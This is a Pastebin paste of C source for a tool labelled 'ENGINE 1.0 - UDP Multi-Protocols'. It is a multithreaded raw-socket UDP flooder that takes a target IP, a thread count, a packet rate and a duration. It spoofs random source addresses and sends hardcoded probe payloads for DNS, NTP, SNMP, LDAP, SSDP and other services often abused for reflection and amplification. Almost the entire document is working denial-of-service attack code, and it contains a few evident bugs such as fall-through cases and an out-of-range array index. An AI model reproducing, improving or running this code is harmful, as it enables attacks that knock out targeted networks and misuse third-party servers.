BlackQuard

UDPRAW

Feb 18th, 2022 (edited)
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 18.15 KB | None | 0 0
  1. /***********************************************************************************************************
  2. *
  3. * @Project: ENGINE 1.0
  4. * @Features: work with vulnerable udpraw protocols.
  5. *
  6. ***********************************************************************************************************/
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <sys/ioctl.h>
  12. #include <string.h>
  13. #include <stdlib.h>
  14. #include <stdio.h>
  15. #include <pthread.h>
  16. #include <netinet/udp.h>
  17. #include <netinet/ip.h>
  18. #include <netinet/in.h>
  19. #include <netinet/if_ether.h>
  20. #include <netdb.h>
  21. #include <net/if.h>
  22. #include <arpa/inet.h>
  23. #define MAX_PACKET_SIZE 4096
  24. #define PHI 0x9e3779b9
  25. static unsigned long int Q[4096], c = 362436;
  26. volatile int limiter;
  27. volatile unsigned int pps;
  28. volatile unsigned int sleeptime = 100;
  29. void init_rand(unsigned long int x)
  30. {
  31.         int i;
  32.         Q[0] = x;
  33.         Q[1] = x + PHI;
  34.         Q[2] = x + PHI + PHI;
  35.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  36. }
  37. unsigned long int rand_cmwc(void)
  38. {
  39.         unsigned long long int t, a = 18782LL;
  40.         static unsigned long int i = 4095;
  41.         unsigned long int x, r = 0xfffffffe;
  42.         i = (i + 1) & 4095;
  43.         t = a * Q[i] + c;
  44.         c = (t >> 32);
  45.         x = t + c;
  46.         if (x < c) {
  47.         x++;
  48.         c++;
  49.         }
  50.         return (Q[i] = r - x);
  51. }
  52. unsigned short csum (unsigned short *buf, int count)
  53. {
  54.         register unsigned long sum = 0;
  55.         while( count > 1 ) { sum += *buf++; count -= 2; }
  56.         if(count > 0) { sum += *(unsigned char *)buf; }
  57.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  58.         return (unsigned short)(~sum);
  59. }
  60. unsigned short udpcsum(struct iphdr *iph, struct udphdr *udph) {
  61.     struct udp_pseudo
  62.     {
  63.     unsigned long src_addr;
  64.     unsigned long dst_addr;
  65.     unsigned char zero;
  66.     unsigned char proto;
  67.     unsigned short length;
  68.     } pseudohead;
  69.     unsigned short total_len = iph->tot_len;
  70.     pseudohead.src_addr=iph->saddr;
  71.     pseudohead.dst_addr=iph->daddr;
  72.     pseudohead.zero=0;
  73.     pseudohead.proto=IPPROTO_UDP;
  74.     pseudohead.length=htons(sizeof(struct udphdr));
  75.     int totaltudp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr);
  76.     unsigned short *udp = malloc(totaltudp_len);
  77.     memcpy((unsigned char *)udp,&pseudohead,sizeof(struct udp_pseudo));
  78.     memcpy((unsigned char *)udp+sizeof(struct udp_pseudo),(unsigned char *)udph,sizeof(struct udphdr));
  79.     unsigned short output = csum(udp,totaltudp_len);
  80.     free(udp);
  81.     return output;
  82. }
  83. void setup_ip_header(struct iphdr *iph)
  84. {
  85.         char ip[17];
  86.         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  87.         iph->ihl = 5;
  88.         iph->version = 4;
  89.         iph->tos = 0;
  90.         iph->id = htonl(rand()%54321);
  91.         iph->frag_off = 0;
  92.         iph->ttl = MAXTTL;
  93.         iph->protocol = IPPROTO_UDP;
  94.         iph->check = 0;
  95.         iph->saddr = inet_addr(ip);
  96. }
  97. void vulnMix(struct iphdr *iph, struct udphdr *udph)
  98. {
  99.         int protocol[] = { 7, 53, 111, 123, 137, 138, 161, 177, 389, 427, 500, 520, 623, 626, 1194, 1434, 1604, 1900, 5353, 8797, 9987 };
  100.         char *hexa[] = {"\x00","\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08","\x09","\x0a","\x0b","\x0c","\x0d","\x0e","\x0f","\x10","\x11","\x12","\x13","\x14","\x15","\x16","\x17","\x18","\x19","\x1a","\x1b","\x1c","\x1d","\x1e","\x1f","\x20","\x21","\x22","\x23","\x24","\x25","\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c","\x2d","\x2e","\x2f","\x30","\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x3a","\x3b","\x3c","\x3d","\x3e","\x3f","\x40","\x41","\x42","\x43","\x44","\x45","\x46","\x47","\x48","\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f","\x50","\x51","\x52","\x53","\x54","\x55","\x56","\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d","\x5e","\x5f","\x60","\x61","\x62","\x63","\x64","\x65","\x66","\x67","\x68","\x69","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70","\x71","\x72","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80","\x81","\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e","\x8f","\x90","\x91","\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c","\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xaa","\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1","\xb2","\xb3","\xb4","\xb5","\xb6","\xb7","\xb8","\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf","\xc0","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6","\xc7","\xc8","\xc9","\xca","\xcb","\xcc","\xcd","\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6","\xd7","\xd8","\xd9","\xda","\xdb","\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7","\xe8","\xe9","\xea","\xeb","\xec","\xed","\xee","\xef","\xf0","\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7","\xf8","\xf9","\xfa","\xfb","\xfc","\xfd","\xfe","\xff"};
  101.         char *getPayload = hexa[rand()%253];
  102.         switch(protocol[rand()%22]) {
  103.              case 53 :
  104.                 memcpy((void *)udph + sizeof(struct udphdr), "%getPayload%getPayload\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01", 32);
  105.                 udph->len=htons(sizeof(struct udphdr) + 32);
  106.                 udph->dest = htons(53);
  107.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 32;
  108.                 break;
  109.             case 7  :
  110.                 memcpy((void *)udph + sizeof(struct udphdr), "\x0D\x0A\x0D\x0A", 4);
  111.                 udph->len=htons(sizeof(struct udphdr) + 4);
  112.                 udph->dest = htons(7);
  113.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 4;
  114.                 break;
  115.             case 111  :
  116.                 memcpy((void *)udph + sizeof(struct udphdr), "\x72\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x01\x97\x7C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 40);
  117.                 udph->len=htons(sizeof(struct udphdr) + 40);
  118.                 udph->dest = htons(111);
  119.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 40;
  120.                 break;
  121.             case 123  :
  122.                 memcpy((void *)udph + sizeof(struct udphdr), "\xd9\x00\x0a\xfa\x00\x00\x00\x00\x00\x01\x02\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\x02\x04\xec\xec\x42\xee\x92", 48);
  123.                 udph->len=htons(sizeof(struct udphdr) + 48);
  124.                 udph->dest = htons(123);
  125.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 48;
  126.             case 137  :
  127.                 memcpy((void *)udph + sizeof(struct udphdr), "\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x05\x00\x01", 30);
  128.                 udph->len=htons(sizeof(struct udphdr) + 30);
  129.                 udph->dest = htons(137);
  130.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 30;
  131.             case 138  :
  132.                 memcpy((void *)udph + sizeof(struct udphdr), "%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload%getPayload", 14);
  133.                 udph->len=htons(sizeof(struct udphdr) + 14);
  134.                 udph->dest = htons(138);
  135.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
  136.             break;
  137.             case 161  :
  138.                 memcpy((void *)udph + sizeof(struct udphdr), "\x30\x3A\x02\x01\x03\x30\x0F\x02\x02\x4A\x69\x02\x03\x00\xFF\xE3\x04\x01\x04\x02\x01\x03\x04\x10\x30\x0E\x04\x00\x02\x01\x00\x02\x01\x00\x04\x00\x04\x00\x04\x00\x30\x12\x04\x00\x04\x00\xA0\x0C\x02\x02\x37\xF0\x02\x01\x00\x02\x01\x00\x30\x00", 60);
  139.                 udph->len=htons(sizeof(struct udphdr) + 60);
  140.                 udph->dest = htons(161);
  141.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 60;
  142.             break;
  143.             case 177  :
  144.                 memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x02\x00\x01\x00", 7);
  145.                 udph->len=htons(sizeof(struct udphdr) + 7);
  146.                 udph->dest = htons(177);
  147.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 7;
  148.             break;
  149.             case 389  :
  150.                 memcpy((void *)udph + sizeof(struct udphdr), "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 51);
  151.                 udph->len=htons(sizeof(struct udphdr) + 51);
  152.                 udph->dest = htons(389);
  153.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 51;
  154.             break;
  155.             case 427  :
  156.                 strcpy((void *)udph + sizeof(struct udphdr), "\x02\x01\x00\x006\x00\x00\x00\x00\x00\x01\x00\x02en\x00\x00\x00\x15""service:service-agent""\x00\x07""default""\x00\x00\x00\x00");
  157.                 udph->len=htons(sizeof(struct udphdr) + 22);
  158.                 udph->dest = htons(427);
  159.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 22;
  160.             break;
  161.             case 500  :
  162.                 memcpy((void *)udph + sizeof(struct udphdr), "\x00\x11\x22\x33\x44\x55\x66\x77\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\xA4\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x98\x01\x01\x00\x04\x03\x00\x00\x24\x01\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x00\x00\x01\x03\x00\x00\x24\x02\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x00\x00\x01\x03\x00\x00\x24\x03\x01\x00\x00\x80\x01\x00\x01\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x00\x00\x01", 153);
  163.                 udph->len=htons(sizeof(struct udphdr) + 153);
  164.                 udph->dest = htons(500);
  165.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 153;
  166.             break;
  167.             case 520  :
  168.                 memcpy((void *)udph + sizeof(struct udphdr), "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", 24);
  169.                 udph->len=htons(sizeof(struct udphdr) + 24);
  170.                 udph->dest = htons(520);
  171.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 24;
  172.             break;
  173.             case 623  :
  174.                 memcpy((void *)udph + sizeof(struct udphdr), "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18\xc8\x81\x00\x38\x8e\x04\xb5", 23);
  175.                 udph->len=htons(sizeof(struct udphdr) + 23);
  176.                 udph->dest = htons(623);
  177.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 23;
  178.             break;
  179.             case 626  :
  180.                 strcpy((void *)udph + sizeof(struct udphdr), "SNQUERY: 127.0.0.1:AAAAAA:xsvr");
  181.                 udph->len=htons(sizeof(struct udphdr) + 30);
  182.                 udph->dest = htons(626);
  183.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 30;
  184.             break;
  185.             case 1194  :
  186.                 memcpy((void *)udph + sizeof(struct udphdr), "8d\xc1x\x01\xb8\x9b\xcb\x8f\0\0\0\0\0", 12);
  187.                 udph->len=htons(sizeof(struct udphdr) + 12);
  188.                 udph->dest = htons(1194);
  189.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 12;
  190.             break;
  191.             case 1434  :
  192.                 memcpy((void *)udph + sizeof(struct udphdr), "\x02", 1);
  193.                 udph->len=htons(sizeof(struct udphdr) + 1);
  194.                 udph->dest = htons(1434);
  195.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 1;
  196.             break;
  197.             case 1604  :
  198.                 memcpy((void *)udph + sizeof(struct udphdr), "\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 30);
  199.                 udph->len=htons(sizeof(struct udphdr) + 30);
  200.                 udph->dest = htons(1604);
  201.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 30;
  202.             break;
  203.             case 1900  :
  204.                 memcpy((void *)udph + sizeof(struct udphdr), "\x4d\x2d\x53\x45\x41\x52\x43\x48\x20\x2a\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x48\x4f\x53\x54\x3a\x20\x32\x35\x35\x2e\x32\x35\x35\x2e\x32\x35\x35\x2e\x32\x35\x35\x3a\x31\x39\x30\x30\x0d\x0a\x4d\x41\x4e\x3a\x20\x22\x73\x73\x64\x70\x3a\x64\x69\x73\x63\x6f\x76\x65\x72\x22\x0d\x0a\x4d\x58\x3a\x20\x31\x0d\x0a\x53\x54\x3a\x20\x75\x72\x6e\x3a\x64\x69\x61\x6c\x2d\x6d\x75\x6c\x74\x69\x73\x63\x72\x65\x65\x6e\x2d\x6f\x72\x67\x3a\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x61\x6c\x3a\x31\x0d\x0a\x55\x53\x45\x52\x2d\x41\x47\x45\x4e\x54\x3a\x20\x47\x6f\x6f\x67\x6c\x65\x20\x43\x68\x72\x6f\x6d\x65\x2f\x36\x30\x2e\x30\x2e\x33\x31\x31\x32\x2e\x39\x30\x20\x57\x69\x6e\x64\x6f\x77\x73\x0d\x0a\x0d\x0a", 173);
  205.                 udph->len=htons(sizeof(struct udphdr) + 173);
  206.                 udph->dest = htons(1900);
  207.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 173;
  208.             break;
  209.             case 5353  :
  210.                 strcpy((void *)udph + sizeof(struct udphdr), "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09_services\x07_dns-sd\x04_udp\x05local\x00\x00\x0C\x00\x01");
  211.                 udph->len=htons(sizeof(struct udphdr) + 21);
  212.                 udph->dest = htons(5353);
  213.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 21;
  214.             break;
  215.             case 8767  :
  216.                 strcpy((void *)udph + sizeof(struct udphdr), "\xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x002x\xba\x85\tTeamSpeak\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\nWindows XP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00 \x00<\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08nickname\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00");
  217.                 udph->len=htons(sizeof(struct udphdr) + 148);
  218.                 udph->dest = htons(8767);
  219.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 148;
  220.             break;
  221.             case 9987  :
  222.                 memcpy((void *)udph + sizeof(struct udphdr), "\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02\x9d\x74\x8b\x45\xaa\x7b\xef\xb9\x9e\xfe\xad\x08\x19\xba\xcf\x41\xe0\x16\xa2\x32\x6c\xf3\xcf\xf4\x8e\x3c\x44\x83\xc8\x8d\x51\x45\x6f\x90\x95\x23\x3e\x00\x97\x2b\x1c\x71\xb2\x4e\xc0\x61\xf1\xd7\x6f\xc5\x7e\xf6\x48\x52\xbf\x82\x6a\xa2\x3b\x65\xaa\x18\x7a\x17\x38\xc3\x81\x27\xc3\x47\xfc\xa7\x35\xba\xfc\x0f\x9d\x9d\x72\x24\x9d\xfc\x02\x17\x6d\x6b\xb1\x2d\x72\xc6\xe3\x17\x1c\x95\xd9\x69\x99\x57\xce\xdd\xdf\x05\xdc\x03\x94\x56\x04\x3a\x14\xe5\xad\x9a\x2b\x14\x30\x3a\x23\xa3\x25\xad\xe8\xe6\x39\x8a\x85\x2a\xc6\xdf\xe5\x5d\x2d\xa0\x2f\x5d\x9c\xd7\x2b\x24\xfb\xb0\x9c\xc2\xba\x89\xb4\x1b\x17\xa2\xb6", 162);
  223.                 udph->len=htons(sizeof(struct udphdr) + 162);
  224.                 udph->dest = htons(9987);
  225.                 iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 162;
  226.             break;
  227.         }
  228. }
  229. void *flood(void *par1)
  230. {
  231.         char *td = (char *)par1;
  232.         char datagram[MAX_PACKET_SIZE];
  233.         struct iphdr *iph = (struct iphdr *)datagram;
  234.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  235.         struct sockaddr_in sin;
  236.         sin.sin_family = AF_INET;
  237.         sin.sin_addr.s_addr = inet_addr(td);
  238.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
  239.         if(s < 0){
  240.         fprintf(stderr, "Could not open raw socket.\n");
  241.         exit(-1);
  242.         }
  243.         memset(datagram, 0, MAX_PACKET_SIZE);
  244.         setup_ip_header(iph);
  245.         udph->source = htons(rand() % 65535 - 1026);
  246.         vulnMix(iph, udph);
  247.         iph->daddr = sin.sin_addr.s_addr;
  248.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  249.         int tmp = 1;
  250.         const int *val = &tmp;
  251.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  252.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  253.         exit(-1);
  254.         }
  255.         init_rand(time(NULL));
  256.         register unsigned int i;
  257.         i = 0;
  258.         while(1){
  259.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  260.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  261.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  262.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  263.         udph->source = htons(rand_cmwc() & 0xFFFF);
  264.         udph->check = 0;
  265.         pps++;
  266.         if(i >= limiter)
  267.         {
  268.         i = 0;
  269.         usleep(sleeptime);
  270.         }
  271.         i++;
  272.         }
  273. }
  274. int main(int argc, char *argv[ ])
  275. {
  276.         if(argc < 5){
  277.         fprintf(stderr, "ENGINE 1.0 - UDP Multi-Protocols\n");
  278.         fprintf(stdout, "Usage: %s <IP> <threads> <pps> <time>\n", argv[0]);
  279.         exit(-1);
  280.         }
  281.         fprintf(stdout, "Setting up Sockets...\n");
  282.         int num_threads = atoi(argv[2]);
  283.         int maxpps = atoi(argv[3]);
  284.         limiter = 0;
  285.         pps = 0;
  286.         pthread_t thread[num_threads];
  287.         int multiplier = 20;
  288.         int i;
  289.         for(i = 0;i<num_threads;i++){
  290.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  291.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  292.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  293.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  294.         }
  295.         fprintf(stdout, "Starting Flood...\n");
  296.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  297.         {
  298.         usleep((1000/multiplier)*1000);
  299.         if((pps*multiplier) > maxpps)
  300.         {
  301.         if(1 > limiter)
  302.         {
  303.         sleeptime+=100;
  304.         } else {
  305.         limiter--;
  306.         }
  307.         } else {
  308.         limiter++;
  309.         if(sleeptime > 25)
  310.         {
  311.         sleeptime-=25;
  312.         } else {
  313.         sleeptime = 0;
  314.         }
  315.         }
  316.         pps = 0;
  317.         }
  318.         return 0;
  319. }
Add Comment
Please, Sign In to add comment